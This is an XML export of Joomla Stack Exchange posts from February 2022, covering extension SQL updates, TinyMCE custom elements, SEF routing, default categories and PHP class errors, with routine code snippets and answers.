  <row Id="31941" PostTypeId="1" CreationDate="2022-02-13T14:15:02.710" Score="0" ViewCount="53" Body="&lt;p&gt;In the xml install file for an extension for Joomla! 4.0, there are these lines that make the SQL update :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;update&amp;gt;&#xA;    &amp;lt;schemas&amp;gt;&#xA;        &amp;lt;schemapath type=&amp;quot;mysql&amp;quot;&amp;gt;sql/updates/mysql&amp;lt;/schemapath&amp;gt;&#xA;    &amp;lt;/schemas&amp;gt;&#xA;&amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The installation package is tagged as 6.0.0-RC1-DEV for developpement. In the directory sql/updates/mysql, I have two files: 6.0.0-BETA1-DEV.sql and 6.0.0-RC1-DEV.sql.&lt;/p&gt;&#xA;&lt;p&gt;When i install the package 6.0.0-RC1-DEV in Joomla! which have already installed 6.0.0-BETA7-DEV version, the files 6.0.0-BETA1-DEV.sql and 6.0.0-RC1-DEV.sql are executed, but i want only in this case that 6.0.0-RC1-DEV.sql be executed&lt;/p&gt;&#xA;&lt;p&gt;In the file  6.0.0-BETA1-DEV.sql there are ALTER TABLE queries, by example :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__mycomponent_cats` CHANGE `allow_anonym` `allowAnonym` tinyint DEFAULT NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have found a way which works only in mariadb by not in mysql :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__mycomponent_cats` CHANGE COLUMN IF EXISTS `allow_anonym` `allowAnonym` tinyint DEFAULT NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To avoid that query fails it should check that eh column allow_anonym exist before&lt;/p&gt;&#xA;&lt;p&gt;How can the execution of the sql file be made conditional?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2022-02-25T21:19:50.163" LastActivityDate="2022-02-25T21:19:50.163" Title="In extensions, make the schema update SQL conditional" Tags="|component|joomla-4.x|sql|extension-update|versions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31942" PostTypeId="1" AcceptedAnswerId="31946" CreationDate="2022-02-13T22:15:38.930" Score="2" ViewCount="219" Body="&lt;p&gt;I'm looking for a way to have users register their email and then get sent a document, like you often see on sites offering white papers.&lt;/p&gt;&#xA;&lt;p&gt;I've looked at many of the download extensions on the JED but all seems to be targeting allowing access to downloading selected files as from a repository. And that is &lt;em&gt;not&lt;/em&gt; what I want. But rather something like one of the ones critiqued &lt;a href=&quot;https://instapage.com/blog/white-paper-landing-page-examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I've also looked at newsletter and registration extensions, and as far as I can tell, they mostly hook into MailChimp or some other newsletter/mailing solution.&lt;/p&gt;&#xA;&lt;p&gt;One difference from a simple registration form is that I'd like the component to also provide the complimentary mail, including the white paper, or a personalized link to it.&lt;/p&gt;&#xA;&lt;p&gt;Does such a Joomla extension exist? If not, any hints on customizing any of the other extensions, or building it myself, would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2022-02-14T00:20:47.710" Title="Component/module for registering to get document" Tags="|component|form|download|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31943" PostTypeId="1" CreationDate="2022-02-13T22:22:25.463" Score="2" ViewCount="586" Body="&lt;p&gt;Can someone please tell me how it becomes possible in TinyMCE that a custom HTML element e.g.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;my-custom-element&amp;gt;text...&amp;lt;/my-custom-element&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;when saving the article is NOT always forcibly converted to&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;my-custom-element&amp;gt;text...&amp;lt;/my-custom-element&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;,&lt;/p&gt;&#xA;&lt;p&gt;but remains without the added &lt;code&gt;&amp;lt;p&amp;gt;... &amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;like it is when I use e.g. &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Otherwise &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; should remain the default for new paragraphs if possible.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&lt;p&gt;[I'm told to post my issue here, original post is this: &lt;a href=&quot;https://stackoverflow.com/questions/71084382/tinymce-in-joomla-4-custom-element-without-automatically-added-p&quot;&gt;https://stackoverflow.com/questions/71084382/tinymce-in-joomla-4-custom-element-without-automatically-added-p]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16121" LastActivityDate="2022-02-14T11:23:08.747" Title="TinyMCE in Joomla 4: &lt;custom-element&gt; without automatically added &lt;p&gt;" Tags="|joomla-4.x|tinymce|html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31944" PostTypeId="2" ParentId="31942" CreationDate="2022-02-13T23:17:48.000" Score="2" Body="&lt;p&gt;Acymail is a very good extension that would allow you to register/collect email addresses and you can then send one or more follow up emails which could be your document or have your document attached as a .pdf&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.acymailing.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.acymailing.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is quite a powerful and mature product that has since been ported across to Wordpress and it is stand alone installation on your Joomla site and doesn't require other services such as Mail chimp, but can use them if you need the anti-spam or high delivery rates.&lt;/p&gt;&#xA;&lt;p&gt;It also integrates well with a number of other good Joomla extensions such as form builders and e Commerce so you may find it useful for other purposes as well.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-02-13T23:17:48.000" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31945" PostTypeId="2" ParentId="31943" CreationDate="2022-02-13T23:29:04.297" Score="2" Body="&lt;p&gt;The settings for TinyMCE are managed in the Plugin Editor- TinyMCE. You may be able to find an option there like 'New Line', or try reading their help documentation to find how to achieve what you want.&lt;/p&gt;&#xA;&lt;p&gt;You may also find that if you save the article/item while in the Code view and not the WYSIWYG view then it will not try to insert the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;. This works in JCE, so maybe it will work in Tiny.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2022-02-14T03:49:42.047" LastActivityDate="2022-02-14T03:49:42.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31946" PostTypeId="2" ParentId="31942" CreationDate="2022-02-14T00:20:47.710" Score="3" Body="&lt;p&gt;You can create a form that prompts for an email address and then provides a download link using most of the forms extensions available in Joomla. There are plenty of them available at &lt;a href=&quot;https://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/contacts-and-feedback/forms&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example, &lt;a href=&quot;https://extensions.joomla.org/extension/convert-forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;Convert Forms&lt;/a&gt; and &lt;a href=&quot;https://extensions.joomla.org/extension/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;Balbooa Forms Builder&lt;/a&gt; both have free and paid versions and are both available for Joomla 4.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-02-14T00:20:47.710" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31947" PostTypeId="1" AcceptedAnswerId="31948" CreationDate="2022-02-14T06:26:51.140" Score="2" ViewCount="348" Body="&lt;p&gt;Under Joomla 4 the language files for the core extension are no longer prefixed with the language code, e.g. en-GB.com_banners, however when I look in the manifest folders the files are defined with a prefix.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Directory entries&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/language/en-GB/plg_webservices_banners.ini&#xA;/administrator/language/en-GB/plg_webservices_banners.sys.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Manifest entry&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/en-GB.plg_webservices_banners.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/en-GB.plg_webservices_banners.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I add my own extensions with the prefix specified in the filename and the manifest then the filename retains the prefix in the &lt;code&gt;/language&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;Is the convention with Joomla 4 not to have the prefix in the filename?&lt;/p&gt;&#xA;&lt;p&gt;Is there something 'stripping' the prefix from filename that I need to use to get my extensions to look like the core filenames?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-02-14T07:30:02.517" Title="language file naming conventions" Tags="|language|joomla-4|manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31948" PostTypeId="2" ParentId="31947" CreationDate="2022-02-14T07:30:02.517" Score="4" Body="&lt;p&gt;Use non-prefixed filenames in J4 (3.10 also supports this). Nothing is stripping the prefix, some core manifest files just haven't been updated.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-02-14T07:30:02.517" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31949" PostTypeId="2" ParentId="31943" CreationDate="2022-02-14T08:07:06.430" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.tiny.cloud/docs/configure/content-filtering/#custom_elements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tiny.cloud/docs/configure/content-filtering/#custom_elements&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;TinyMCE supports defining custom elements but this is not implemented in Joomla. Though this can be added using plugins or layout overrides.&lt;/p&gt;&#xA;&lt;p&gt;There is no TinyMCE-specific event for something like this and the editor overwrites existing script options. So your best bet would be &lt;code&gt;onAfterDispatch&lt;/code&gt; or later event.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') || exit;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgEditorsXtdTinyMceCustomElements extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onAfterDispatch()&#xA;    {&#xA;        if ($options = $this-&amp;gt;app-&amp;gt;getDocument()-&amp;gt;getScriptOptions('plg_editor_tinymce'))&#xA;        {&#xA;            $options['tinyMCE']['default']['custom_elements'] = 'my-custom-element,another-custom-element,~inline-custom-element';&#xA;            $this-&amp;gt;app-&amp;gt;getDocument()-&amp;gt;addScriptOptions('plg_editor_tinymce', $options);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that custom elements might not work the way you expect. That seems to be an issue with TinyMCE. You can test it here &lt;a href=&quot;https://fiddle.tiny.cloud/YVhaab&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fiddle.tiny.cloud/YVhaab&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2022-02-14T11:23:08.747" LastActivityDate="2022-02-14T11:23:08.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31951" PostTypeId="1" CreationDate="2022-02-15T05:42:26.433" Score="0" ViewCount="636" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Nrpa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Nrpa.png&quot; alt=&quot;SP Page builder pro 3.8 version&#xA;Facing error in frontend editor of homepage only.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The code where the error occurs is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$css .= 'height:'.$gallery_height.'px;';&#xA;$css = '';&#xA;if($gallery_height){&#xA;    $css .= $addon_id .' .sppb-gallery-parallax:after {';&#xA;    $css .= 'height:'.$gallery_height.'px;';&#xA;    $css .= '}';&#xA;&#xA;    $css .= '@media (min-width: 768px) and (max-width: 991px) {';&#xA;&#xA;    $css .= $addon_id .' .sppb-gallery-parallax:after {';&#xA;    $css .= 'height:'.$gallery_height_sm.'px;';&#xA;    $css .= '}';&#xA;&#xA;    $css .= '}';&#xA;&#xA;    $css .= '@media (max-width: 767px) {';&#xA;&#xA;    $css .= $addon_id .' .sppb-gallery-parallax:after {';&#xA;    $css .= 'height:'.$gallery_height_xs.'px;';&#xA;    $css .= '}';&#xA;&#xA;    $css .= '}';&#xA;}&#xA;return $css;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16124" LastEditorUserId="12352" LastEditDate="2022-02-15T06:27:07.470" LastActivityDate="2022-02-16T22:28:31.920" Title="ERROR 0 - Object of class stdClass could not be converted to string" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31953" PostTypeId="2" ParentId="31951" CreationDate="2022-02-16T09:09:25.067" Score="2" Body="&lt;p&gt;The first line is trying to concatenate a string onto the end of &lt;code&gt;$css&lt;/code&gt;, but &lt;code&gt;$css&lt;/code&gt; would have to already be a string (or be a variable type that can be cast to a string, like an integer) for that to work. If it's an object then that would cause your error. We'd need to see how and where &lt;code&gt;$css&lt;/code&gt; gets generated in the first place.&lt;/p&gt;&#xA;&lt;p&gt;The second line is sticking out for me.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$css = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It completely overrides the line before it and makes it pointless, as well as any earlier references to &lt;code&gt;$css&lt;/code&gt; that aren't included in the code above. I would point this out to the template developers in case it has been left in by error.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastEditorUserId="12352" LastEditDate="2022-02-16T22:28:31.920" LastActivityDate="2022-02-16T22:28:31.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31954" PostTypeId="2" ParentId="28481" CreationDate="2022-02-16T14:32:47.003" Score="2" Body="&lt;p&gt;You can do this by using the new feature &lt;strong&gt;Child Templates&lt;/strong&gt; in Joomla 4.1.&#xA;Step by step details:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;System &amp;gt; Site Templates &amp;gt; Cassiopeia Details and Files &amp;gt; and hit &amp;quot;Create Child Template&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Open &lt;code&gt;index.php&lt;/code&gt; under /templates/cassiopeia&lt;/li&gt;&#xA;&lt;li&gt;Select all the code and copy. Then close.&lt;/li&gt;&#xA;&lt;li&gt;Go to System &amp;gt; Site Templates &amp;gt; and click to the newly created child template&lt;/li&gt;&#xA;&lt;li&gt;Hit to &amp;quot;&lt;strong&gt;New File&lt;/strong&gt;&amp;quot; and name it &lt;code&gt;index.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Paste the code.&lt;/li&gt;&#xA;&lt;li&gt;Open &lt;code&gt;templateDetails.xml&lt;/code&gt; and add the following code:&lt;br /&gt;&#xA;&lt;code&gt;&amp;lt;field name=&amp;quot;myJS&amp;quot; type=&amp;quot;textarea&amp;quot; label=&amp;quot;My JS script&amp;quot; /&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit child template &lt;code&gt;index.php&lt;/code&gt; file, and add this new line inside &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tags:&lt;br /&gt;&#xA;&lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('myJS'); ?&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to System &amp;gt; Site Template Styles and click on the child template&lt;/li&gt;&#xA;&lt;li&gt;On the &lt;strong&gt;Advanced&lt;/strong&gt; tab you will see a new field &lt;strong&gt;My JS script&lt;/strong&gt;.&lt;br /&gt;&#xA;There you can add your custom JS code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;That's all !&lt;/p&gt;&#xA;&lt;p&gt;All credit goes to Dimitris Grammatiko and his presentation on JUG London !&lt;/p&gt;&#xA;" OwnerUserId="15836" LastEditorUserId="15836" LastEditDate="2022-02-18T10:28:54.640" LastActivityDate="2022-02-18T10:28:54.640" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31955" PostTypeId="1" CreationDate="2022-02-17T12:47:20.540" Score="2" ViewCount="30" Body="&lt;p&gt;I have a library installed that I'm reluctant to remove because I don't know what is dependent on it.&lt;/p&gt;&#xA;&lt;p&gt;How can I find that out?&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2022-02-18T22:52:50.530" Title="How to find what is dependent on a particular library?" Tags="|installation|libraries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31956" PostTypeId="1" CreationDate="2022-02-17T15:00:18.243" Score="2" ViewCount="876" Body="&lt;p&gt;When I use Route method to convert a normal url in a SEF url it doesn't work if the article is not a menu item. I don't understand if it's a normal behavior or if I'm doing something wrong. There is my example:&lt;/p&gt;&#xA;&lt;p&gt;My &lt;code&gt;$item-&amp;gt;link&lt;/code&gt; is &amp;quot;index.php/eng/?view=article&amp;amp;id=29:article-name-1&amp;amp;catid=17&amp;quot;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I use &lt;code&gt;Route::_($item-&amp;gt;link)&lt;/code&gt; I obtain an identical url.&lt;/li&gt;&#xA;&lt;li&gt;If I use &lt;code&gt;Route::_(RouteHelper::getArticleRoute($item-&amp;gt;slug, $item-&amp;gt;catid, $item-&amp;gt;language)&lt;/code&gt;, I obtain the same.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;They always return &amp;quot;index.php/eng/?view=article&amp;amp;id=29:article-name-1&amp;amp;catid=17&amp;quot; ...but that's not a SEF url.&lt;/p&gt;&#xA;&lt;p&gt;How can I obtain a SEF url even if the article is not connected to a menu item?&lt;/p&gt;&#xA;" OwnerUserId="16086" LastEditorUserId="12352" LastEditDate="2022-02-17T23:44:21.993" LastActivityDate="2022-02-18T16:16:39.667" Title="JRoute don't make a SEF Url from the article link" Tags="|sef|joomla-4.x|jroute|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31957" PostTypeId="2" ParentId="31956" CreationDate="2022-02-18T08:20:51.183" Score="1" Body="&lt;p&gt;&lt;code&gt;Route::_()&lt;/code&gt; expects a non-SEF URL as an input.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;index.php/eng/?view=article&amp;amp;id=29:article-name-1&amp;amp;catid=17&lt;/code&gt; is already an SEF URL, which is why &lt;code&gt;Route::_()&lt;/code&gt; is not modifying it.&lt;/p&gt;&#xA;&lt;p&gt;A non-SEF URL would be something like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;index.php?view=article&amp;amp;id=29:article-name-1&amp;amp;catid=17&amp;amp;lang=eng&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8650" LastEditorUserId="8650" LastEditDate="2022-02-18T12:02:02.050" LastActivityDate="2022-02-18T12:02:02.050" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31958" PostTypeId="2" ParentId="31955" CreationDate="2022-02-18T15:14:34.383" Score="1" Body="&lt;p&gt;A simple way is to just rename it and see what happens. If everything works, fine, if not, just name it back to its original name.&lt;/p&gt;&#xA;" OwnerUserId="16137" LastEditorUserId="12352" LastEditDate="2022-02-18T19:40:21.503" LastActivityDate="2022-02-18T19:40:21.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31959" PostTypeId="1" AcceptedAnswerId="31960" CreationDate="2022-02-18T15:21:50.243" Score="3" ViewCount="305" Body="&lt;p&gt;When I create a new article, there is a default category of &amp;quot;Uncategorised&amp;quot;.  Is there any way to set a different default article category instead of the native default &amp;quot;Uncategorised&amp;quot; category?&lt;/p&gt;&#xA;&lt;p&gt;In the Joomla settings, I don't see any setting option where I can change it.  Can this be changed through the database or by modifying Joomla's PHP code?&lt;/p&gt;&#xA;" OwnerUserId="16138" LastEditorUserId="12352" LastEditDate="2022-02-18T19:44:46.707" LastActivityDate="2022-02-21T09:14:48.653" Title="How to set/change default article category in Joomla 3.10?" Tags="|joomla-3.x|php|category|default|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31960" PostTypeId="2" ParentId="31959" CreationDate="2022-02-18T15:57:45.883" Score="3" Body="&lt;p&gt;Yes, the &lt;strong&gt;default category is&lt;/strong&gt; the &lt;strong&gt;first category&lt;/strong&gt; in the list.&lt;/p&gt;&#xA;&lt;p&gt;To change the default category, go to Content &amp;gt; Categories. Click on the first column so that the order of the categories is on ordering. Click on the 3 vertical dots of the category that you want to make the default category and drag it to the top.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-02-18T15:57:45.883" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31961" PostTypeId="2" ParentId="31956" CreationDate="2022-02-18T16:16:39.667" Score="1" Body="&lt;p&gt;Apparently, this is now the expected behavior in J4. You need to create a menu item, but it doesn't have to be a menu item for a specific article. Creating a single &amp;quot;List All Categories&amp;quot; menu item is enough.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-02-18T16:16:39.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31962" PostTypeId="2" ParentId="31955" CreationDate="2022-02-18T22:52:50.530" Score="1" Body="&lt;p&gt;There may be more elegant solutions to this question but you could use &lt;code&gt;grep&lt;/code&gt; or similar to search all the files on the website for references to the library. If you don't have direct access to a command line, you may be able to run &lt;code&gt;grep&lt;/code&gt; from a script as per &lt;a href=&quot;https://webmasters.stackexchange.com/a/29914/31686&quot;&gt;https://webmasters.stackexchange.com/a/29914/31686&lt;/a&gt;. Alternatively, you could download the website files to your local machine and use whatever tools you have on your local machine to search the file structure.&lt;/p&gt;&#xA;&lt;p&gt;You could also search the database e.g. using &lt;code&gt;phpMyAdmin&lt;/code&gt; for references to the library.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-02-18T22:52:50.530" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31963" PostTypeId="2" ParentId="31959" CreationDate="2022-02-21T09:14:48.653" Score="1" Body="&lt;p&gt;As well as re-ordering to change which category is set as default as per pe7er's reply above, you can always edit the Uncategorised category and rename it to something more useful for your requirements.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2022-02-21T09:14:48.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31964" PostTypeId="1" CreationDate="2022-02-21T10:45:56.770" Score="0" ViewCount="73" Body="&lt;p&gt;I want to use zentools. Currently im working with joomla 4.1.0 .&#xA;So, I was wondering, Is there a version of zentools that is compatible with joomla 4.1.0 ??&lt;/p&gt;&#xA;" OwnerUserId="16142" LastEditorUserId="13472" LastEditDate="2022-02-21T20:37:09.087" LastActivityDate="2024-03-28T18:16:01.963" Title="Zentools compatible version" Tags="|extensions|joomla-4.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31965" PostTypeId="2" ParentId="31964" CreationDate="2022-02-21T16:43:09.543" Score="3" Body="&lt;p&gt;The Joomla Extension Directory has &amp;quot;Zentools&amp;quot; in its listing: &lt;a href=&quot;https://extensions.joomla.org/extension/zentools/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/zentools/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The most recent version of Zentools (v1.14.6) is only listed as compatible with Joomla 3. It was released 3.5 years ago (Aug 2018), so it's not compatible with Joomla 4.1.0.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you could contact its developer JoomlaBamboo to ask when they will release a Joomla 4.1.0 compatible version?&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-02-21T16:43:09.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31966" PostTypeId="1" AcceptedAnswerId="31967" CreationDate="2022-02-22T01:19:53.263" Score="1" ViewCount="837" Body="&lt;h4&gt;In Joomla 3:&lt;/h4&gt;&#xA;&lt;p&gt;I'm writing a class to represent a semi-complex data structure. In that class, some methods need to access the app, dbo, document and user objects from JFactory.&lt;/p&gt;&#xA;&lt;p&gt;Here's a snippet of the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Survey {&#xA;    use Joomla\CMS\Factory;&#xA;    &#xA;    private $app = JFactory::getApplication();&#xA;    private $doc = JFactory::getDocument();&#xA;    private $db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm getting an error on the line &lt;code&gt;private $app = JFactory::getApplication();&lt;/code&gt;, the error is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Fatal error: Constant expression contains invalid operations in /&lt;em&gt;joomla path&lt;/em&gt;/media/tmpl/classSurvey.php on line 46&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've also tried to set it up inside the constructor, but I get the same error message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function __construct($surveyID = -1) {&#xA;    $this-&amp;gt;app = JFactory::getApplication();&#xA;    $this-&amp;gt;doc = JFactory::getDocument();&#xA;    $this-&amp;gt;db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Do I need to get these objects outside the class and pass them via the constructor?&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Forgive me if this is the wrong place to ask this, but it seemed to be the only Stack Exchange site related to Joomla I could find.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10969" LastActivityDate="2022-02-22T02:27:47.210" Title="How can I reference JFactory within a PHP class?" Tags="|joomla-3.x|php|jfactory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31967" PostTypeId="2" ParentId="31966" CreationDate="2022-02-22T02:20:15.150" Score="2" Body="&lt;p&gt;The USE statement should be before the Class statement, or outside the Class.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;...&#xA;class Survey {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These lines&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private $app = JFactory::getApplication();&#xA;private $doc = JFactory::getDocument();&#xA;private $db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;are in the right place inside your class however they should be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private $app;&#xA;private $doc;&#xA;private $db;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then your _constructor looks okay but JFactory is now Factory.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function __construct($surveyID = -1) {&#xA;    $this-&amp;gt;app = Factory::getApplication();&#xA;    $this-&amp;gt;doc = Factory::getDocument();&#xA;    $this-&amp;gt;db = Factory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Having $app, $doc and $db as Private may cause conflicts with other code and so generally you see them as Public and not Private. Given your code appears to be in a template you may find they are already available to you and don't need to be created in the constructor.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-02-22T02:20:15.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31968" PostTypeId="2" ParentId="31966" CreationDate="2022-02-22T02:27:47.210" Score="3" Body="&lt;p&gt;It's worth noting that &amp;quot;Constant expression contains invalid operations&amp;quot; is thrown if you ever try to set a class property using a variable.  Class properties declarations are set at compile time prior to variables having values in memory.  Hence you have to populate the values within the constructor.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class Survey {&#xA;&#xA;    private $app = JFactory::getApplication(); // this is a fatal error&#xA;    private $resolved_prior_to_variables_having_values = 1; // this is fine&#xA;&#xA;    // ... etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2022-02-22T02:27:47.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
